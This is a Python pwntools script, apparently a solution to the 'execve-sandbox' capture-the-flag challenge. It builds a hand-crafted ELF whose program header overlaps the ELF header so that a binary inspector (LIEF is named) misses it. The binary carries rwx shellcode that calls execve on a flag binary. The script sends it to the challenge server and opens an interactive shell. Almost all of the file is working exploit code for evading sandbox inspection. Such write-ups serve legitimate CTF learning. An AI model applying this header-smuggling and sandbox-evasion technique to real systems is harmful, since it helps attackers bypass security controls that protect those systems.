#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

exe = './flag'
addr = 0x10000


def exploit():
    # build the handcrafted elf
    elf = build_elf()
    # send it to the server
    r = remote('execve-sandbox.ctfcompetition.com', 1337)
    r.recvuntil('ELF binary...\n')
    r.send(elf + 'deadbeef')
    # receive the flag
    r.interactive()


def build_elf():
    context.arch = 'amd64'
    shellcode = asm(
        # copy the filename to the target address
        shellcraft.strcpy(addr, addr + 0x38 * 4)
        # call execve(filename)
        + shellcraft.execve(addr, 0, 0)
    )

    # elf header

    # elf magic
    elf = '\x7fELF'
    # elf class: 64-bit
    elf += p8(2)
    # endianness: little endian
    elf += p8(1)
    # elf version, usually set to 1
    elf += p8(1)
    # abi: linux abi
    elf += p8(3)
    # unused
    elf += '\0' * 8
    # binary type: executable
    elf += p16(2)
    # target architecture: x86-64
    elf += p16(0x3e)
    # elf version, again 1
    elf += p32(1)
    # entry point: after the headers we place the executable name and after that the shellcode
    elf += p64(addr + 0x38 * 4 + len(exe) + 1)
    # offset of programm header table (0, so LIEF doesn't parse it)
    elf += p64(0)
    # offset of section header table
    elf += p64(0)
    # some flags - unused
    elf += p32(0)
    # size of elf header
    elf += p16(0x40)
    # size of program header table entry
    elf += p16(0x38)
    # number of entries in program header table:
    #   the first two entries will overlap with the elf header, so we could use 3 here.
    #   However, this field coincides with the type of the second segment and 3 means PT_INTERP,
    #       which is interpreted by the kernel
    #   Thus we use 4 (PT_NOTE), which is ignored by the kernel and add additional padding at the end
    elf += p16(4)
    # size of section header table entry
    elf += p16(0)
    # number of entries in section header table
    elf += p16(0)
    # index of section header table entry containing section names
    elf += p16(0)

    # padding to 4th program header table entry
    elf += '\0' * (0x30 + 0x38)

    # program header table entry: PT_LOAD segment
    #   we load the whole binary into memory at the target address 0x10000
    #   and use the shellcode to write the executable's path there at runtime

    # type: PT_LOAD
    elf += p32(1)
    # protection flags: rwx
    elf += p32(4 | 2 | 1)
    # offset in file
    elf += p64(0)
    # virtual address
    elf += p64(addr)
    # physical address
    elf += p64(addr)
    # size in file
    elf += p64(0x38 * 4 + len(exe) + 1 + len(shellcode))
    # size in memory
    elf += p64(0x38 * 4 + len(exe) + 1 + len(shellcode))
    # alignment
    elf += p64(0)

    # append executable name and shellcode
    elf += exe + '\0' + shellcode

    return elf


if __name__ == '__main__':
    exploit()
